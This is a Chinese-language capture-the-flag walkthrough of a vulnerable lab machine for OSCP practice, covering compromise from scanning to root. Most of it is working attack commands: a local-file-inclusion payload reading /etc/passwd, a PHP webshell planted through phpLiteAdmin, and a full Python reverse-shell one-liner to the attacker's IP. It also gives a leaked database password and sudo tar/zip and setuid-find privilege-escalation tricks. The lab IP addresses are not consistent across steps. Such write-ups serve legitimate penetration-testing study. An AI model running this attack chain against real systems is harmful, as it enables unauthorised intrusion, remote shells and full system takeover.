简介
该项目是Leon Johnson作者精心制作的项目,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
该项目有始有终会用到 信息收集 -> WEB信息枚举 -> 暴力破解 -> wpscan枚举 -> worepress站getshell -> 内网信息收集 -> 提权 ,最终拿到flag.txt的过程,那么在八大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
1、nmap扫描存活IP
由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
ifconfig
本机kali为192.168.4.128
发现本kali ip为40段!用40段进行全网段扫描:
nmap -sP 192.168.40.0/24
发现项目IP地址:192.168.40.130
2、nmap全端口服务枚举
进行namp端口服务枚举:
nmap 192.168.40.130 -p- -A
得到开放的端口信息:
22/tcp open ssh OpenSSH 5.9p1
80/tcp open http Apache httpd 2.2.22
111/tcp open rpcbind 2-4 (RPC #100000)
38935/tcp open status 1 (RPC #100024)
二、Xray-web信息收集
1、web页面枚举
web页面访问:
http://192.168.40.130/
查看了下源码没什么信息!
2、xray扫描
xray 是一款功能强大的安全评估工具,主要特性有:
检测速度快。发包速度快; 漏洞检测算法高效。
支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。
代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。
高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。
安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有payload 和 poc 均为无害化检查。
https://docs.xray.cool/#/README---xray使用手册
1)生成证书
执行下面命令生成两个证书:
./xray_linux_amd64 genca
2)将ca.crt 导入浏览器(推荐火狐)
3)设置代理
FoxyProxy配置xray 127.0.0.1 7777信息!
4)使用代理模式,运行程序:
./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html
--html-output 输出报告格式
proxy.html 输出报过名,自定义
3、xray-LFI文件包含漏洞
随意点击页面,下方点击check out,扫描出漏洞目录地址:
http://192.168.253.174/view.php?page=tools.html
发现payload:../../../../../../../../../../../../../../../../../../etc/passwd
存在文件包含漏洞!
访问验证
http://192.168.40.130/view.php?page=./../../../../../../../../../../../../../../../../../etc/passwd
存在文件包含漏洞!
发现用户:zico1000:1000:,,,:/home/zico:/bin/bash
三、dirb目录爆破
利用dirb爆破目录:
dirb http://192.168.40.130/
爆破结果发现类似数据库管理后台的目录,访问此目录!
http://192.168.40.130/dbadmin/
发现存在目录遍历,发现敏感文件test_db.php,点击打开这个php文件。
http://192.168.253.174/dbadmin/test_db.php
发现是个登录页面,phpLiteAdmin后台管理网站!
尝试弱口令登录:admin成功登录!
发现是一个SQLite数据库管理工具,phpLiteAdmin v1.9.3
四、漏洞搜索
1、phpLiteAdmin漏洞搜索
在kali上搜索一下phpLiteAdmin v1.9.3是否存在可以利用的漏洞
Searchsploit phpLiteAdmin
搜索发现:php/webapps/24044.txt
2、漏洞分析
复制至本地,查看利用方法
cp /usr/share/exploitdb/exploits/php/webapps/24044.txt .
cat 24044.txt
POC提示:先创建数据库,在插入新表和写入shellcode
五、phpLiteAdmin反弹shell
1、写入一句话木马
1)创建数据库test.php
第一步左边创建一个test名称的php文件点击Create
2)创建新表
Name: 1 Number of Fields: 1 ---点击Go
3)创建PHP一句话代码
Field:填写任意名称 Type类型:Text Default Value:放入shellcode:"",然后点击Create!
创建成功,目录地址为:/usr/databases/test.php
2、反弹shell
访问目录地址,触发一句话木马,执行cmd命令
http://192.168.40.130/view.php?page=../../../usr/databases/test&cmd=whoami
可以看到是www-data www-data权限!
查看有无安装python
http://192.168.40.130/view.php?page=../../../../../../usr/databases/test.php&cmd=which%20python
可以看到'"/usr/bin/python /usr/bin/python"'安装了python!
开启监听
nc -vlp 6666
执行python反弹shell,并执行tty
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty; pty.spawn("/bin/bash")'
成功反弹获得普通用户的shell!
六、内网信息枚举
1、执行linpeas脚本
开启http服务,上传linpeas.sh至靶机
python -m SimpleHTTPServer 8082
wget http://192.168.40.128:8082/linpeas.sh
上传成功!
赋权并执行
chmod +x linpeas.sh
./linpeas.sh
2、信息枚举
1)发现版本信息
Linux version 3.2.0-23-generic
Sudo version 1.8.3p1
2)发现开启了mysql服务
127.0.0.1:3306
3)获得账户密码
在/home/zico/wordpress/wp-config.php文件中发现账户密码
define('DB_USER', 'zico');
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');
七、提权
1、sudo提权zip
1)ssh登录:
ssh zico@192.168.40.130
sWfCsfJSPV9H3AmQzw8
2)查看sudo利用
sudo -l
这里给出了两种提升权限的方法tar和zip
User zico may run the following commands on this host:
(root) NOPASSWD: /bin/tar
(root) NOPASSWD: /usr/bin/zip
3)二进制列表zip利用提示
https://gtfobins.github.io/gtfobins/zip/
4)利用POC,获得flag
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
cd /root
cat flag.txt
成功提权到root用户并获得flag
或者使用命令:
使用zip命令中可用的–unzip-command选项在压缩文件时运行bash shell:
sudo zip /tmp/nisha.zip /home/zico/dayu -T --unzip-command="sh -c /bin/bash"
2、sudo提权tar
1)二进制列表利用
https://gtfobins.github.io/gtfobins/tar/
2)尝试sudo利用
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
成功提权至root!
3、sudo提权tar(find提权)
find提权 (其实这里也是使用了tar进行执行提权,然后转到find,重点是find执行命令提权)
1)查看是否存在find命令setuid执行权限:
find / -perm -4000 2>/dev/null | grep find
不存在!
2)通过tar命令创建find命令具备setuid执行权限:
cd /tmp
echo "chmod u+s /usr/bin/find" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1 -----创建两个文件,方便通过tar命令将此文件当做命令去执行!
sudo tar cf archive.tar *
3)创建完成确认find命令是否成功被赋予setuid权限:
find / -perm -4000 2>/dev/null | grep find
4)执行find命令开始提权
find /tmp -exec sh -i \;
成功提权至root用户。
1)内核提权
searchsploit Linux Kernel 3.2.0-23
linux_x86-64/local/33589.c
locate linux_x86-64/local/33589.c
cp /usr/share/exploitdb/exploits/linux_x86-64/local/33589.c .
python -m SimpleHTTPServer 8081
wget http://192.168.253.166:8081/33589.c
gcc 33589.c -O2 -o dayu1
chmod +x dayu1
./dayu1 0
执行完,直接CPU崩溃,系统重启!!!慎用!!
https://www.exploit-db.com/exploits/26131
locate linux_x86-64/local/26131.c
cp /usr/share/exploitdb/exploits/linux_x86-64/local/26131.c .
执行完,直接CPU崩溃,系统重启!!!慎用!!